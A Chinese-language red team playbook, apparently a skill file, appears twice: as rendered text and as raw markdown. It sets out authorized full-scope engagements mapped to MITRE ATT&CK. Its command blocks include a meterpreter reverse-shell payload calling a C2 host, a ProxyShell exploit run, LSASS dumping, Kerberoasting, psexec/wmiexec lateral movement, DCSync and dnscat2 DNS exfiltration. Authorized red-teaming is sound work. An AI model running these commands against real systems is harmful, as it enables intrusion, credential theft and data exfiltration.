执行全范围红队演练
概述
全范围红队演练(Full-Scope Red Team Engagement)模拟真实世界的对手行为,覆盖网络杀伤链(Cyber Kill Chain)的所有阶段——从初始侦察到数据外泄——以评估组织的检测、预防和响应能力。与渗透测试(Penetration Testing)不同,红队行动优先注重隐蔽性、持久化和基于目标的场景,模拟高级持续性威胁(APT)。
前置条件
- 经高管领导签署的书面授权(交战规则文件)
- 明确的范围界定,包括在测试范围内/外的系统、升级联系人和紧急停止程序
- 相关对手组织的威胁情报(如 APT29、FIN7、Lazarus Group)
- 红队基础设施:C2 服务器、重定向器、钓鱼域名、载荷开发环境
- 确认符合《计算机欺诈和滥用法》(CFAA)及当地法律的法律审查
演练阶段
阶段一:规划与威胁建模
根据威胁配置文件,将演练映射到特定 MITRE ATT&CK 战术和技术:
| 杀伤链阶段 |
MITRE ATT&CK 战术 |
示例技术 |
| 侦察(Reconnaissance) |
TA0043 |
T1593 搜索开放网站/域名, T1589 收集受害者身份信息 |
| 资源开发 |
TA0042 |
T1583.001 获取基础设施:域名, T1587.001 开发能力:恶意软件 |
| 初始访问 |
TA0001 |
T1566.001 鱼叉式钓鱼附件, T1078 有效账户 |
| 执行 |
TA0002 |
T1059.001 PowerShell, T1204.002 用户执行:恶意文件 |
| 持久化 |
TA0003 |
T1053.005 计划任务, T1547.001 注册表运行键 |
| 权限提升 |
TA0004 |
T1068 利用漏洞提权, T1548.002 UAC 绕过 |
| 防御规避 |
TA0005 |
T1055 进程注入, T1027 混淆文件 |
| 凭据访问 |
TA0006 |
T1003.001 LSASS 内存, T1558.003 Kerberoasting |
| 发现 |
TA0007 |
T1087 账户发现, T1018 远程系统发现 |
| 横向移动 |
TA0008 |
T1021.002 SMB/Windows 管理共享, T1550.002 哈希传递 |
| 收集 |
TA0009 |
T1560 归档收集数据, T1213 来自信息存储库的数据 |
| 数据外泄 |
TA0010 |
T1041 通过 C2 信道外泄, T1048 通过替代协议外泄 |
| 影响 |
TA0040 |
T1486 加密数据以影响业务, T1489 停止服务 |
阶段二:侦察(OSINT)
# 被动 DNS 枚举
amass enum -passive -d target.com -o amass_passive.txt
# 证书透明度日志搜索
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
print(cert['name_value'])
" | sort -u > subdomains.txt
# LinkedIn 员工枚举
theHarvester -d target.com -b linkedin -l 500 -f harvest_results
# 技术栈指纹识别
whatweb -v target.com --log-json=whatweb.json
# 泄露数据凭据搜索(已授权)
h8mail -t target.com -o h8mail_results.csv
阶段三:初始访问
红队演练常见的初始访问向量:
鱼叉式钓鱼(T1566.001):
# 生成带宏的载荷
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba
# 配置 GoPhish 活动
# 配置 SMTP 配置文件、带借口的电子邮件模板和着陆页
gophish --config config.json
外部服务利用(T1190):
# 扫描易受攻击的服务
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan
# 利用已知 CVE(示例:ProxyShell CVE-2021-34473)
python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com
阶段四:后渗透与横向移动
# 态势感知(T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com
# 从 LSASS 收集凭据(T1003.001)
# 使用 Havoc C2 内置模块
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords
# Kerberoasting(T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
# 通过 WMI 横向移动(T1047)
wmiexec.py domain/user:password@target-dc -c "whoami"
# 通过 PsExec 横向移动(T1021.002)
psexec.py domain/admin:password@fileserver.target.com
阶段五:目标达成
定义并追求特定目标:
- 域控制:获得域管理员访问权限并 DCSync 凭据
- 数据外泄:定位并外泄关键数据(如 PII、财务记录)
- 业务影响模拟:展示勒索软件部署能力(不实际执行)
- 物理访问:门禁卡克隆、尾随跟踪、服务器室访问
# DCSync 攻击(T1003.006)
secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm
# 通过 DNS 外泄数据(T1048.003)
dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t
阶段六:报告与汇报
报告应包含:
- 高管摘要:业务影响、风险评级、关键发现
- 攻击叙述:带截图和证据的活动时间线
- MITRE ATT&CK 映射:使用技术的完整热力图
- 发现事项:每个发现的 CVSS 分数、证据和修复建议
- 检测差距分析:SOC 检测到的与遗漏的内容对比
- 紫队(Purple Team)建议:针对已识别差距的具体检测规则
指标与 KPI
| 指标 |
描述 |
| 平均检测时间(MTTD) |
从行动到 SOC 检测的平均时间 |
| 平均响应时间(MTTR) |
从检测到遏制的平均时间 |
| TTP 覆盖率 |
已执行技术中被检测到的百分比 |
| 目标达成率 |
已完成的预定目标百分比 |
| 驻留时间 |
红队维持访问而未被检测到的总时间 |
工具与框架
- C2 框架: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4
- 侦察: Amass, Recon-ng, theHarvester, SpiderFoot
- 利用: Metasploit, Impacket, CrackMapExec, Rubeus
- 后渗透: Mimikatz, SharpCollection, BOF.NET
- 报告: PlexTrac, Ghostwriter, Serpico
参考资料
1---2name: conducting-full-scope-red-team-engagement3description: 规划并执行全范围红队演练,覆盖从侦察到后渗透的完整攻击链,使用符合 MITRE ATT&CK 的战术技术和程序(TTP),以评估组织的检测和响应能力。4license: Apache-2.05---67# 执行全范围红队演练89## 概述1011全范围红队演练(Full-Scope Red Team Engagement)模拟真实世界的对手行为,覆盖网络杀伤链(Cyber Kill Chain)的所有阶段——从初始侦察到数据外泄——以评估组织的检测、预防和响应能力。与渗透测试(Penetration Testing)不同,红队行动优先注重隐蔽性、持久化和基于目标的场景,模拟高级持续性威胁(APT)。1213## 前置条件1415- 经高管领导签署的书面授权(交战规则文件)16- 明确的范围界定,包括在测试范围内/外的系统、升级联系人和紧急停止程序17- 相关对手组织的威胁情报(如 APT29、FIN7、Lazarus Group)18- 红队基础设施:C2 服务器、重定向器、钓鱼域名、载荷开发环境19- 确认符合《计算机欺诈和滥用法》(CFAA)及当地法律的法律审查2021## 演练阶段2223### 阶段一:规划与威胁建模2425根据威胁配置文件,将演练映射到特定 MITRE ATT&CK 战术和技术:2627| 杀伤链阶段 | MITRE ATT&CK 战术 | 示例技术 |28|---|---|---|29| 侦察(Reconnaissance) | TA0043 | T1593 搜索开放网站/域名, T1589 收集受害者身份信息 |30| 资源开发 | TA0042 | T1583.001 获取基础设施:域名, T1587.001 开发能力:恶意软件 |31| 初始访问 | TA0001 | T1566.001 鱼叉式钓鱼附件, T1078 有效账户 |32| 执行 | TA0002 | T1059.001 PowerShell, T1204.002 用户执行:恶意文件 |33| 持久化 | TA0003 | T1053.005 计划任务, T1547.001 注册表运行键 |34| 权限提升 | TA0004 | T1068 利用漏洞提权, T1548.002 UAC 绕过 |35| 防御规避 | TA0005 | T1055 进程注入, T1027 混淆文件 |36| 凭据访问 | TA0006 | T1003.001 LSASS 内存, T1558.003 Kerberoasting |37| 发现 | TA0007 | T1087 账户发现, T1018 远程系统发现 |38| 横向移动 | TA0008 | T1021.002 SMB/Windows 管理共享, T1550.002 哈希传递 |39| 收集 | TA0009 | T1560 归档收集数据, T1213 来自信息存储库的数据 |40| 数据外泄 | TA0010 | T1041 通过 C2 信道外泄, T1048 通过替代协议外泄 |41| 影响 | TA0040 | T1486 加密数据以影响业务, T1489 停止服务 |4243### 阶段二:侦察(OSINT)4445```bash46# 被动 DNS 枚举47amass enum -passive -d target.com -o amass_passive.txt4849# 证书透明度日志搜索50python3 -c "51import requests52url = 'https://crt.sh/?q=%.target.com&output=json'53r = requests.get(url)54for cert in r.json():55 print(cert['name_value'])56" | sort -u > subdomains.txt5758# LinkedIn 员工枚举59theHarvester -d target.com -b linkedin -l 500 -f harvest_results6061# 技术栈指纹识别62whatweb -v target.com --log-json=whatweb.json6364# 泄露数据凭据搜索(已授权)65h8mail -t target.com -o h8mail_results.csv66```6768### 阶段三:初始访问6970红队演练常见的初始访问向量:7172**鱼叉式钓鱼(T1566.001):**73```bash74# 生成带宏的载荷75msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba7677# 配置 GoPhish 活动78# 配置 SMTP 配置文件、带借口的电子邮件模板和着陆页79gophish --config config.json80```8182**外部服务利用(T1190):**83```bash84# 扫描易受攻击的服务85nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan8687# 利用已知 CVE(示例:ProxyShell CVE-2021-34473)88python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com89```9091### 阶段四:后渗透与横向移动9293```powershell94# 态势感知(T1082, T1016)95whoami /all96systeminfo97ipconfig /all98net group "Domain Admins" /domain99nltest /dclist:target.com100101# 从 LSASS 收集凭据(T1003.001)102# 使用 Havoc C2 内置模块103dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords104105# Kerberoasting(T1558.003)106Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt107108# 通过 WMI 横向移动(T1047)109wmiexec.py domain/user:password@target-dc -c "whoami"110111# 通过 PsExec 横向移动(T1021.002)112psexec.py domain/admin:password@fileserver.target.com113```114115### 阶段五:目标达成116117定义并追求特定目标:1181191. **域控制**:获得域管理员访问权限并 DCSync 凭据1202. **数据外泄**:定位并外泄关键数据(如 PII、财务记录)1213. **业务影响模拟**:展示勒索软件部署能力(不实际执行)1224. **物理访问**:门禁卡克隆、尾随跟踪、服务器室访问123124```bash125# DCSync 攻击(T1003.006)126secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm127128# 通过 DNS 外泄数据(T1048.003)129dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t130```131132### 阶段六:报告与汇报133134报告应包含:1351361. **高管摘要**:业务影响、风险评级、关键发现1372. **攻击叙述**:带截图和证据的活动时间线1383. **MITRE ATT&CK 映射**:使用技术的完整热力图1394. **发现事项**:每个发现的 CVSS 分数、证据和修复建议1405. **检测差距分析**:SOC 检测到的与遗漏的内容对比1416. **紫队(Purple Team)建议**:针对已识别差距的具体检测规则142143## 指标与 KPI144145| 指标 | 描述 |146|---|---|147| 平均检测时间(MTTD) | 从行动到 SOC 检测的平均时间 |148| 平均响应时间(MTTR) | 从检测到遏制的平均时间 |149| TTP 覆盖率 | 已执行技术中被检测到的百分比 |150| 目标达成率 | 已完成的预定目标百分比 |151| 驻留时间 | 红队维持访问而未被检测到的总时间 |152153## 工具与框架154155- **C2 框架**: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4156- **侦察**: Amass, Recon-ng, theHarvester, SpiderFoot157- **利用**: Metasploit, Impacket, CrackMapExec, Rubeus158- **后渗透**: Mimikatz, SharpCollection, BOF.NET159- **报告**: PlexTrac, Ghostwriter, Serpico160161## 参考资料162163- MITRE ATT&CK 框架: https://attack.mitre.org/164- 红队指南: https://redteam.guide/165- PTES(渗透测试执行标准): http://www.pentest-standard.org/166- TIBER-EU 红队演练框架: https://www.ecb.europa.eu/paym/cyber-resilience/tiber-eu/167- CBEST 情报主导测试: https://www.bankofengland.co.uk/financial-stability/financial-sector-continuity